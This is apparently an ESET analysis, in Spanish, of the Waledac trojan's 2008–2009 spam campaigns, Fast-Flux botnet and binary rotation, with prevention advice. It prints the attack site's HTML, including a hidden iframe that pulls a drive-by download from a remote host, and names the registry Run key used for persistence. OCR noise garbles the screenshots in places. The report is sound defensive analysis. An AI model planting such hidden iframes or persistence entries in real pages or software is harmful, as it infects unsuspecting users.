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Waledac, el troyano enamorado

Los eventos especiales son frecuentemente utilizados por los atacantes como excusa para realizar ataques a
través de Ingenieria Social y atraer al usuario. Por lo tanto, en fechas como el Dia de San Valentin (o Dia de los
Enamorados), se espera que se aproveche el acontecimiento con fines maliciosos.

En anos anteriores ya se habian presentado amenazas que se tomaban ventaja de los “mds enamorados”
para infectar su sistema. Este afio, la distribucidn del troyano Waledac ha tenido caracteristicas peculiares,
sujetas a un interesante andlisis sobre el trabajo constante de los atacantes por modificar (;y perfeccionar?) los
métodos y técnicas de infeccion.

Descripcion general

Waledac es un troyano que se distribuyé masivamente en diciembre del 2008 y enero y febrero del 2009,
aprovechando un acontecimiento celebrado en muchos paises del mundo como el “Dia de San Valentin”.
Se caracteriza por la utilizacion de métodos de Ingenieria Social [1] para propagarse.

El principal objetivo de Waledac es formar una Botnet [2] y para eso convierte al equipo infectado en
zombie de modo que los creadores de la red puedan realizar las acciones que deseen con éste. Algunas
de las funciones de la Botnet ya detectadas son:

» Captura de direcciones de correo electrénico

e Envio de spam

* Robo de informacién del sistema

» Descarga de otras amenazas y capacidad de auto-actualizacién
¢ Alojamiento web en sistemas previamente infectados

* Usoy explotacion de la técnica de Fast-Flux

La primera aparicién de este cdédigo daiino fue detectada en diciembre del 2008. Desde entonces, la
amenaza fue reactivada en varias ocasiones, aumentando en cada una de ellas el nUmero de equipos
integrantes de la Botnet. El ataque alcanzé su masividad en febrero, mediante el envio de correos de
spam con contenidos relacionados a San Valentin (especificamente, postales virtuales).

Muchas de las caracteristicas de Waledac (objetivos, técnicas de propagacion, etc.) son similares a Nuwar
(también conocido como Gusano Storm o Gusano de la Tormenta), una de las Botnets de mayor tamaiio y
difusion en el 2008, también explotada via correo electrénico en el Dia de San Valentin del 2008 [3].
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Método de infeccion

Al ser un troyano, Waledac no posee métodos propios de reproduccién y propagacion. Su principal via de
acceso a los sistemas es el engafio a través de técnicas de Ingenieria Social y el envio de correos masivos
para continuar su propagacion.

El correo que recibe el usuario contiene una invitacidn para ver un contenido exclusivo, como una postal
de San Valentin y, en todos los casos, un enlace a un sitio web:

B Caroline has sent you a Yalentine's Day E-Card! - Mensaje (HTML)

Archivo  Edicion  Wer  Insertar Formako  Herramientas — Acciones 7

i~ Responder | i Responder atodos | i Resrwviar | =4 D | L4 | ¥ L§ L3 K| e -5 - N % l@!

Cie: Caroline Enviado el:  Yiernes 06/02/2009 11:55 a.m.

Para:
e
Asurto:  Caroling has sent you a Valenting's Day E-Card!

Caraline just sent a greeting e-card and wrote to you:
“Yeah | Love You®

Click on the link below to view your Valentine's Day card:
http:erwow L S csmonline.com/Poand=235

|htt|:u:,f,l'www. = -Dnline.cu:um,l'l

Imagen 1 - Correo electrénico recibido
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Si el usuario accede al sitio web podra observar diferentes interfaces gréficas que se caracterizan por
poseer escaso contenido de texto, pocas (e impactantes) imdgenes y mensajes directos invitdndolo
nuevamente a ver la postal.

@] | hitpiite 2. comyf

Guess, which one is for you?
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.
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Como se presenta en laimagen, al hacer clic sobre el sitio web, en lugar de ver una postal, se descarga un
archivo de extension EXE que, al ejecutarse, infecta al equipo.

4
@

hitpine :a_

Imagen 2 - Sitio Web

Asimismo, el sitio web esta configurado para llevar a cabo un método de infecciéon doble. Ademas del
archivo ejecutable que el usuario descarga, los atacantes combinan esta técnica con la de Drive-by-
Download [4] para, de tener éxito, infectar al usuario con dos tipos de amenazas distintas.
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Si se observa el cédigo HTML, se puede observar un iframe oculto que accede a otro sitio web, en
segundo plano, mientras el usuario visita el sitio web principal. Finalmente, de forma transparente, se
descargan otras aplicaciones maliciosas de sitios de juegos online, por lo general del tipo adware.

Archiva Editar Wer Ayuda
</td> ' L EI

<ftr>

<tr=<td colspan="2">Fa href="coupons.exe"3=img border="0" src="bot.jpg"=</a=</td=</tr=
</table>
<iframe src="http://chat ccom/tds/Sah7" width="1" height="1"
style="visibility:hidden;position:absolute"></iframe>

</body>

</html=

| €

Imagen 3 — Frame para explotar la técnica de Drive-by-Download

Con estas técnicas, los atacantes tienen doble chance de infectar al usuario con dos amenazas diferentes.
Cabe destacar que la técnica de Ingenieria Social (que culmina con la descarga de un archivo EXE por
parte del usuario) puede ser explotada en cualquier navegador, no asi la técnica de Drive-by-Download
que podra ser aprovechada solo si el usuario posee en el navegador alguna vulnerabilidad que pueda ser
explotada por la amenaza.

Funcionamiento

Modificaciones realizadas en el sistema

Si el usuario descarga el archivo EXE y luego lo ejecuta, se da inicio al proceso de modificaciones del
sistema y a la ejecucion de actividades maliciosas. A partir de ese momento, el equipo ya estd infectado.

Primero, el troyano agrega una linea en la siguiente clave de registro con el fin de ejecutarse en el
préximo inicio de sesion:

HKLM SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run

Introduce una entrada del tipo “cadena” cuyo contenido es la misma ruta del archivo descargado, ya que
el troyano no se copia a ninguna carpeta del sistema.

El archivo malicioso contiene predeterminadamente las rutinas necesarias para iniciar el envio de spam,
en su mayoria con contenidos farmacéuticos (como venta de viagra, cialis o relacionados).
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Una vez abierto, el archivo no puede ser eliminado por el usuario dado que se encuentra en ejecucién. Sin
embargo, puede ser encontrado en el Administrador de Tareas y finalizado por el usuario, a diferencia de
otros archivos maliciosos que utilizan técnicas de ocultamiento mas complejas.

Botnet

Como mencionamos anteriormente, el principal objetivo de Waledac es la creacién de una Botnet. De
esta forma, independientemente de las acciones que realice el archivo malicioso, se ejecutan de modo
automatico en el equipo las rutinas necesarias para que los duefios de esta red puedan enviarle
comandos y realizar las acciones que deseen con cualquier terminal infectada.

Una vez que el sistema pasa a formar parte de la botnet, éste se convierte en un equipo zombie, como se
denomina a las computadoras que conforman la red. Una de las funciones principales para las que es
utilizado el equipo infectado es para el alojamiento web. Utilizando el servidor web Nginx', en los equipos
se hospedan sitios que luego son utilizados para propagar la amenaza.

Asimismo, la Botnet es conformada en una red del tipo Fast-Flux. Estas, son “redes avanzadas de ataque y
con capacidad de modificacion, lo que dificulta los procedimientos de seguimiento e inhabilitacién de las
mismas” [5]. El objetivo de las redes Fast-Flux es ocultar las direcciones IP de los servidores centrales de
las actividades maliciosas, haciendo uso de los equipos infectados como puentes para la comunicacion
con el resto de los usuarios. De esta forma, los dominios afectados contienen variadas direcciones IP en su
resolucién, todas ellas correspondientes a los equipos infectados y son éstos quienes realizan la
comunicacion con los servidores que alojan los contenidos.

,De este modo, tanto la comunicacién con el centro de Comando y Control de la Botnet (C&C) como el
alojamiento de los sitios web maliciosos son distribuidos a lo largo de toda la red y modificados
constantemente para dificultar el rastreo de los servidores y administradores de la misma.

! Més informacién: http://nginx.net/

CEler)
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Cada vez que un usuario se conecta con un sitio web cuyo dominio fue registrado por los creadores del
malware, lo estad haciendo a un direccién IP (equipo) diferente, todos ellos sistemas zombies integrantes
de la Botnet.

En la siguiente imagen puede observarse como, al realizar un ping? a un dominio afectado, varia la
respuesta al finalizar e iniciar nuevamente la consulta. Esta modificacién de la resolucién de la direccion
IP del dominio indica que ha cambiado el sistema desde donde se descarga la amenaza:

CAWINDOWS\system32\cmd.exe

Microsoft Windows RP [Uersidn 5.1.26081
(C> Copyright 1985-2881 Microsoft Corp.

C:“Documents and Settings“eset—la’ping www_chat .com
Haciendo ping a www.chat .com [B83.255.196.21 con 32 bytes de datos:

Respuesta desde 83.255.196.2: hytes=32 tiempo=318ms TTL=18%
Respuesta desde 83.255.196.2: bhytes=32 tiempo=333ms TTL=189

Eztadisticas de ping para 83.255.196.2:
Paguetes: enviados = 2. recibidos = 2. perdidos = 8
{@x perdidosl,

Tiempos aproximados de ida y vuelta en milizegundos:
Minimo = 318ms. Miximo = 333ms. Media = 325ms

Egntrul—c

C:~Documents and Settingsseset—la’>ping www.chat .com
Haciendo ping a www.chat .com [B5.122_.91.881 con 32 bytes de datos:

Respuesta desde 85.122.91.88: bytes=32 tiempo=277ms TTL=58
Respuesta desde 85.122.91.88: bytes=32 tiempo=33Bms TTL=58

Eztadisticas de ping para 85.122_91.88:
Paguetes: enviados = 2. recibidos = 2. perdidos = 8
{@x perdidos),

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = 27?ms,. Miximo = 330ms. Media = 383ms

Egntrol—c

C:~Documents and Settingsseset—la’>ping www.chat .com
Haciendo ping a www.chat .com [6%7.16%9.221.18]1 con 32 bytes de datos:
Tiempo de espera agotado para esta solicitud.
Eztadisticas de ping para R7.169.221_18:
Paguetes: enviados = 1. recibidos = B, perdidos =
{108 perdidosl.
Egntrol—c

C:~Documents and Settings“eset—laX>_

Imagen 4 - Consulta ping al dominio

2 Ping es un comando para verificar conectividad con un extremo — en este caso, el dominio. La respuesta del comando
muestra, entre otras cosas, la resolucién del dominio y el tiempo de respuesta, de haberlo. Mas informacién:
http://es.wikipedia.org/wiki/Ping
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Una consulta dig® al dominio comprueba que la IP que resuelve el sitio web es asignada con un tiempo de
vida de cero segundos. Por lo tanto, al realizar una nueva consulta, la direccién IP es consultada
nuevamente, obteniendo una nueva respuesta:

esét—la@um—ubuntu:~$ dig chat wom cww, com +noall +answer i '.t:

i <<>> DiG 9.5.8-P2 <<>>

r

;3 global options: priptgmd
chat p= == COom. IN A 85 i8-8, 63
eset-la@vm-ubuntu:~$ dig That pem= = .com +noall +answer

; <<=> DiG 9.5.0-P2 <<=

;1 global options: priptgmd
Chatbsemes e .con. (0 ) N A 82 . J .9

Imagen 5 - Consulta dig al dominio

La segunda caracteristica notable de la Botnet es que las comunicaciones son realizadas via protocolo
HTTP, lo que dificulta el seguimiento de las tareas llevadas a cabo por la misma ya que la informacién
transmitida dentro de la red se encuentra cifrada.

En la siguiente imagen se puede observar coémo son visualizadas las comunicaciones HTTP con una
aplicacién de analisis de trafico de red:

Stream Cantent

PosT /mbifysibfro.png HTTR/L.1
referer: mozilla

Accept: /%

Content-Type: aquicatiun/x—www—FDrm—urTencuded
User-Agent: Mozilla

Host: GO.000.214.2

Content-Length: 957

Cache-Control: no-cache

A=_WArAT aWp B RO BRI 26 T ZAy o ToVEE T Ty ] Laws O COavZ g TO <Py gar FENTEPEDZ JTTREAP LT TPRWEZVE D

0y 3MESROGC JewP—

zu_Alg7DuuItzhck FEyard p2 Yy dvlPVEHLURNG 1Y IdgoHGFr 7x4d1I5hU357_E20s JMEEShvUF SvsoI6r3]6_fxeoy
£ 5M3TOI00BWFwowIrwi] ] FFVnnDyx,Ga;yfuRlEbeEmJyU4t611 FSHAXETARZRA] hwHG] 7DCCIxRxG] 1 xwumsya7?|

17xhzbktplk IuvGkKHSTow by Dy X2 L3UKCRTTEQWD ITKIAVESO24 x5y n_uvk Thu] ¥ 702 uvolJatpI 9-

FULOL pHHxXGMWWENRDENEA—

[ PLEYGKOTHNWIDONCOETThCwwI 3k ToxuGyewFzr PQSaviajNII1l_dOynaol STwx_80z1pull4 s CTFOoyGXZuxmt2 Soed)|

OvSnbgRazZgzL AWk gwyeIOCOUUKGRETLESE-

[ImncSubharPmI3snaAksTbHICRbNT _PIEIMpCZSTK SZASTr 86wuddctCras 116l xxRwgMTZthi BT dx2 =T sywEvw 1w

T OF

server: nginx/0.6.33

Date: Mon, 02 Mar 2009 16:28:41 GMT

Content-Type: text/html £

Transfer-Encoding: chunked

Connection: keep-aliwe

#-Powered-By: PHP/3.2.8

a7z

_wAAAQSASEsdepJKelshdlxMKSEBEXQHUOT'FJka_l"lhSqutdoﬁaxaIyUZOndZyoﬁaw—

Z3407tF7 1 CAICEZHZ JUxFkxJosnr SxowfSohz adv7pt 7Ficsxzowshoecy8P_fv3h7 aEnNoZlGZUKLF J0Z1]_kwHeBuf
RELRUEFGSCSTUPwa_08rcC2phImSIT jyih

[o]

Imagen 6 — Trafico cifrado

® Dig es una herramienta para realizar consultas a servidores de nombre DNS. Mas informacion:
http://en.wikipedia.org/wiki/Domain_Information Groper
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Rotacion de binarios

Ademéds de las caracteristicas ya explicadas para dificultar su sequimiento y analisis, los autores de
Waledac han trabajado diariamente para evitar la deteccién de la amenaza por parte de los productos de
seguridad.

Para ello, han recurrido a un esquema de rotacidn de binarios que consiste en realizar pequenas
variaciones a los archivos maliciosos de forma tal que las técnicas estéticas de deteccién interpreten a
todos ellos como diferentes archivos, siendo en realidad iguales las acciones realizadas por cada uno.

El sitio sudosecure.net [6], que ha hecho un detallado seguimiento de Waledac, ha detectado (a fines de
febrero de 2009) casi 3.000 binarios diferentes, analizando mas de 100 dominios afectados. De este modo,
por ejemplo, con el nombre loveyou.exe se han detectado 20 binarios diferentes.

Ante estas técnicas, la deteccion de amenazas por bases de firmas es insuficiente y sélo un antivirus con
capacidades de deteccién proactiva puede prevenir la descarga y ejecucién de los binarios que han sido
modificados recientemente, a través de técnicas de heuristica.

Métodos de prevencion

Frente a todo ataque que contenga un componente de Ingenieria Social, la primera barrera de
prevencion es el usuario. En el caso de Waledac, es importante recordar las siguientes precauciones:

* No visitar enlaces de correos electrénicos no solicitados

* No descargar (ni ejecutar) archivos descargados desde sitios web desconocidos
Los diferentes archivos maliciosos utilizados por Waledac son detectados por ESET NOD32 Antivirus,
segun la version del archivo descargado, como:

e Win32/Waledac.XX (siendo XX la versién detectada)

¢ Una variante de Win32/Waledac.XX (deteccion heuristica de nuevas versiones)

¢ Una variante de Win32/Kryptic.XX (deteccién heuristica de nuevas versiones)
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Ademas, cuando la amenaza comenzé su propagacion masiva en febrero, los principales dominios
asociados a la amenaza fueron bloqueados por ESET, sin permitir siquiera la navegacién por dichos sitios,
siempre y cuando el usuario tuviera activada la proteccion de trafico HTTP (que viene configurada por
defecto, de este modo por defecto).

L E]

@.\:, v €| htkpi{m news.comf \:| 5| X | | R

= . 1 — - o . »
W ‘@ESET Smark Security - Alerta | | - B g - ik Paging ~ (F Herramientas -

Alerta de ESET Smart Security
Acceso denegado!

Detalles:

Pagina de Internet:
http://mses Banews.com/

Descripcion:

El acceso a esta pagina de Internet ha sido bloqueado por

ESET Smart Secunty. La misma se encuentra en |a lista de sitios con
contenido potencialmente

Wi 238t oom

v X
© EseT smart security
Ha sido bloqueada la direccién remota.
URL:
i news.cam”
Direccion IP:
82, .159:80
Lista € Internet F00% T

Imagen 7 - Bloqueo HTTP de Waledac

Ademas, el usuario debe recordar mantener su sistema operativo y navegador actualizados a la fecha, a
fin de evitar la explotacién de técnicas que permitan la instalacion de malware (exploits, Drive-by-
Download [4], etc.)

Waledac en el tiempo

Una de las principales caracteristicas que presenta este troyano es el constante trabajo por parte de sus
creadores para redisefar las técnicas de propagacién e infeccion.

(esz1}
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De esta forma, los atacantes engafan a los usuarios a través de técnicas de Ingenieria Social acordes a sus
necesidades de acuerdo a la época del afo, lo cual demuestra la persistencia de sus autores para
mantener la amenaza activa.

Etapa 1: Surgimiento

Waledac fue detectado por primera vez el 20 de Diciembre del 2008 a través del envio de correos con
postales para las fiestas navidefAas.

La tasa de infeccion detectada en esta primera etapa fue baja, dada la poca probabilidad de que un
usuario ejecute un archivo EXE adjunto a un correo electrénico, forma de distribucion utilizada en ese
entonces.

Como se mencionaba anteriormente, los creadores del troyano basaron gran parte de su éxito en la
continua actualizacion de las técnicas de Ingenieria Social para infectar al usuario. Su estrategia: llegar al
publico con el “mensaje del momento”.

El siguiente grafico de Google Trends* muestra cémo, en el mes en que el ataque se propagaba con sitios
web sobre Obama (enero de 2009), crecian las busquedas por el nombre del nuevo presidente de los
Estados Unidos, debido a su asuncién el 20 de enero:

GOUSQQ ||:|bama Search Trends |

Trends Tip: Uge commas to compare multiple search terms:

Searches '‘Wehsites IAII req

@ ohama

Saarch Valumae indax - |

Apr 2008 Jul 2008 Ot 2008 Jan 2008

Imagen 8 - Google Trends “Obama”, ultimos 12 meses a febrero del 2009

* http://www.google.es/trends

‘es[=1)
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Etapa 2: Masificacion

Al igual que lo ocurrido con el gusano Nuwar, la gran oportunidad para masificar Waledac fue el dia de
San Valentin, que se festeja en todo el mundo el 14 de febrero. El gréfico de Google Trends corrobora
nuevamente el por qué de la eleccién del tema en febrero:

valentine day =———100

Search Vol p | ndex S00gk

I I I I I I I I I I
Apr 2004 Jul 2009 Oict 2004

Imagen 9 - Google Trends “Valentine Day”, enero y febrero del 2009

Durante la primera quincena de marzo del 2009 se registré el mayor crecimiento de correos no deseados
con enlaces a los sitios web afectados que propagaban el troyano.

Fue recién en esta etapa en que Waledac logré popularizarse y afirmar el poder de la Botnet, pudiendo ser
la de mayor crecimiento en lo que va del afo.

De este modo, el dia de San Valentin fue la ocasién elegida por los creadores del troyano para masificar
el ataque y aprovecharse de los deseos de los usuarios para estas fechas.

Etapa 3: Seguir con vida

Pasado el 14 de febrero y comenzada la ultima semana de dicho mes, los creadores de Waledac actuaron
nuevamente en funcién de los intereses de los usuarios: el dia de San Valentin ya no era del interés del
publico (ver imagen 8).

Ante este hecho, todos los dominios afectados por Waledac dejaron de mostrar las imagenes referentes al
dia de los enamorados (corazones, flores, peluches, etc.) para utilizar una nueva metodologia: ahora los
usuarios, en lugar de descargar postales de San Valentin, podrian descargar cupones de descuento “en
mds de 100.000 tiendas" [7].
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Obviamente, estos descuentos no eran tales, sino que se trataba del mismo troyano que era distribuido
los dias previos como una postal para los enamorados. También fueron modificados los nombres de los
archivos que se descargaban, a fin de estar relacionados a la nueva tematica utilizada. Los creadores del
troyano no se tomaron respiro y rapidamente adaptaron las técnicas para continuar con su propagacion y
desarrollo.

Un mes después, luego de aumentar el nimero de victimas con los cupones de descuento, se
modificaron nuevamente los sitios webs y fueron enviados correos electrénicos no solicitados para la
propagacion. En esta ocasion, los correos daban anuncio de un ataque terrorista y, manteniendo la linea
de correos breves con poco texto, se incluia un enlace a un sitio web malicioso. Si el usuario accedia al
sitio, se simulaba una péagina de una agencia de noticias muy conocida. La noticia en cuestion detallaba
sobre un ataque terrorista y se incluia un video. Al intentar iniciar el video, siempre se indicaba la
necesidad de instalar un codec que es el malware. La principal caracteristica de esta modificacion, fue que
el ataque terrorista era anunciado en la ciudad donde se localizaba la direccién IP publica del usuario [8].
De esta forma, en la mayoria de los casos la noticia serd de mayor impacto para la victima.

Con esta ultima modificacion, se confirma la tendencia de Waledac de realizar cambios periédicos en sus
sitios web y cédigo fuente. Ademas, la geolocalizacién de la direccion IP indica la gran capacidad de sus
creadores para mejorar sus técnicas ante cada cambio.

GCEer)
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Tabla comparativa®
Etapa 1 Etapa 2 Etapa 3
Fecha diciembre 2008 - enero 2009 Hasta el 24 de febrero Desde el 24 de Febrero
del 2009 del 2009
Ingenieria Postales por navidad Postales de San Valentin | Cupones de descuento
Social Noticias sobre Obama

Nombres de
los archivos
infectados

» barack.exe
e baracknews.exe

e baracknews.exe

* blog.exe
* docexe
» ecard.exe
* news.exe

* obamasblog.exe

* obamaspeech.exe
* president.exe

» statement.exe

* usa.exe

e card.exe
e kitexe
e Jove.exe

* loveexe.exe

* loveu.exe

* loveyou.exe

* meandyou.exe
* mylove.exe

e onlyyou.exe

e postcard.exe

* run.exe

* save.exe

e youandme.exe

* couponlist.exe
e coupons.exe

e disc.exe

e discounts.exe
* listexe

* nocrisis.exe

* print.eexe
e run.exe
e sale.exe
e sales.exe

» saleslist.exe
* save.exe

* stopcrisis.exe

Tasa de infeccion

Segun el Servicio Estadistico de Alerta Temprana de ESET, ThreatSense.Net [9], este troyano ha alcanzado
un porcentaje de propagacion mundial de menos del 1% entre los usuarios de las soluciones de ESET.
Las claves de esta reducida tasa de infeccién entre los usuarios de ESET NOD32 Antivirus y ESET Smart

> La tabla, incluida a modo grafico, es slo un resumen de algunos de los nombres de archivos mas utilizados en cada

etapa.
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Security son los altos indices de deteccion del producto ante la amenaza y la rapida respuesta para el
bloqueo de dominios afectados.

Segun sudosecure.net, son mas de 25 mil equipos los infectados, casi 2 mil de ellos en América Latina. El
mismo portal detectd, a fines de febrero, un crecimiento de esta tasa a razén de mas de 200 nuevos
equipos infectados por dia.

Aunque los valores reportados por sudosecure.net son mayores que los detectados en usuarios de las
soluciones de ESET, los nimeros contindan siendo bajos comparados con los logrados por el gusano
Nuwar, con el cual la comunidad de seguridad ha comparado la amenaza de Waledac.

Galeria de imagenes

La variacién en las imagenes utilizadas como Ingenieria Social fue una de las caracteristicas distintivas de
esta amenaza, demostrando el trabajo continuo de los creadores y diferenciandose de lo ocurrido afios
anteriores, donde la distribucién se realizaba con una Unica imagen o un ndmero limitado de ellas.
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La siguiente imagen muestra la cantidad de interfaces diferentes utilizadas durante febrero del 2009 para
propagar el troyano a través de postales para el dia de los enamorados. Tal variedad permite atraer a
diferentes usuarios y dificultar la asociacion de una imagen con la amenaza y, por ende, el reporte de la

misma.
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Imagen 10 — Galeria de imagenes Waledac
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Conclusion

Waledac ha sido la amenaza que mejor aprovechd el dia de San Valentin para propagarse y se ha
distribuido via correo electrénico con altos indices durante febrero del 2009.

Dado el constante trabajo de sus creadores por modificar las técnicas de infeccién, es de esperar que el
troyano contintie propagandose a través de la actualizacién periddica de sus técnicas de infeccién, con el
objetivo de conformar una gran Botnet a lo largo del 2009.

Cabe destacar que, a pesar de utilizar técnicas avanzadas para su propagacion y organizacion, las tasas de
infeccién no han sido altas ni se ha ubicado entre los cédigos maliciosos con mayor tasa de infeccién. ;A
qué se debe esta dualidad entre éxito y fracaso?

Independientemente de las novedosas y trabajosas técnicas de propagacion y utilizacién de las redes
Fast-Flux, el archivo malicioso recurre también a algunas bastante primitivas respecto a otros troyanos:
* No se copia a si mismo en el sistema
* Modifica una Unica entrada del registro
¢ El proceso no estd oculto al usuario final

Es por ello que es simple para el usuario, ain habiéndose infectado, finalizar el proceso y eliminar el
archivo malicioso del sistema, liberando a su equipo de la Botnet.

De todas formas, Waledac es una gran amenaza a considerar durante el 2009, dadas sus exitosas técnicas
de propagacion y la avanzada tecnologia de funcionamiento. Manteniendo las técnicas de infeccién y
modificando las caracteristicas del archivo malicioso, puede convertirse en una de las Botnets de mayor
crecimiento para este ano.
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